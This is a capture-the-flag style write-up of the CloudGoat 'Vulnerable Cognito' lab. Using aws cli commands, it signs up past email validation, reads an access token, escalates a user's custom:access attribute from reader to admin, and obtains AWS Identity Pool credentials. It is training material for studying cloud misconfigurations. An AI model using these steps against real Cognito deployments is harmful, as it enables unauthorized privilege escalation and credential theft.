CloudGoat: Vulnerable Cognito
In this scenario, we were provided the login and signup page which used AWS Cognito Userpool as a backend to store a user data, and AWS Cognito IdentityPool which use Userpool as an identity provider. We can take advantage from misconfiguration of the AWS Cognito Userpool to get the AWS Cognito IdentityPool credentials.
Sign up with desired email
After creating the scenario, you will get the url for index/login page. When you try to sign up with our desired email, you will get an error from email validation.
If you look at the html code of login page, you will find ClientID
in it.
We can use the ClientID
to bypass the email validation by using aws cli.
aws cognito-idp sign-up --client-id <client-id> --username <email> --password <password> --user-attributes '[{"Name":"given_name","Value":"lorem"},{"Name":"family_name","Value":"ipsum"}]' --region us-east-1
After signing up, you will get the confirmation code in your email.
To verify the user.
aws cognito-idp confirm-sign-up --client-id <client-id> --username <email> --confirmation-code <confirmation-code>
Get Access Token
Now when we log in again, it will redirect us to the reader page (reader.html
). This doesn’t give us any information.
So we will explore more about the user with cli, but we need the access token.
We will capture the network packet to get the access token. There are many ways to do that.
- Burp Suite
- Network in Developer tools in web browser
For me, I use Chrome.
After we opened network tab in web browser, go back to login back and login with email and password again. Now you will see the access token. This happens when browser post to cognito-idp.region.amazonaws.com
.
{
"AccessToken":"###"
}
I’m not sure whether we can get the access token in cookies or not, so I use the way above instead.
Get user detail
To get user data
aws cognito-idp get-user --access-token <access-token>
Result:
{
"Username": "24f0eab5-09f4-4395-bcbf-b6e1a18e887a",
"UserAttributes": [
{
"Name": "custom:access",
"Value": "reader"
},
{
"Name": "sub",
"Value": "24f0eab5-09f4-4395-bcbf-b6e1a18e887a"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "given_name",
"Value": "lorem"
},
{
"Name": "family_name",
"Value": "ipsum"
},
{
"Name": "email",
"Value": "badix10958@fashlend.com"
}
]
}
As you can see, one of the custom attributes is custom:access
. Right now, our user is reader
. If you investigate further in the html code in the login page, you will see that the user can be admin
.
if(access == 'admin'){
window.location = "./admin.html";
}
else{
window.location = "./reader.html"
}
Change the custom attribute
We will change custom:access
from reader
to admin
aws cognito-idp update-user-attributes --access-token <access-token> --user-attributes '[{"Name":"custom:access","Value":"admin"}]'
Now we got admin
access.
This time we loged in again, it redirected us to admin page instead.
Get Cognito Identity Credentials
After we were redirected to admin, if you check on Network tab in Developer tools, you will see IdentityId
and cognito identity login url with UserPoolId
and idToken
of this user
{
"Logins": {
"cognito-idp.<region>.amazonaws.com/{UserPoolId}": "<idToken>"
},
"IdentityId": "<IdentityId>"
}
Now we can get credentials from this user.
aws cognito-identity get-credentials-for-identity --region <region> --identity-id '<Id-found>' --logins "cognito-idp.<region>.amazonaws.com/<UserPoolId>=<idToken>"
Result:
{
"IdentityId": "us-east-1:43d6ab63-259f-c188-cc7d-18b40508783e",
"Credentials": {
"AccessKeyId": "AccessKeyId",
"SecretKey": "SecretKey",
"SessionToken": "SessionToken"
}
}
We can create aws cli profile from this credentials. If you don’t know how see here
And with this credentials, we will get an assumed role cognito_authenticated-vulnerable_cognito_###
Thank you so much for reading until here. If you have any comments, suggestions, or recommendations, please reach me out at my LinkedIn.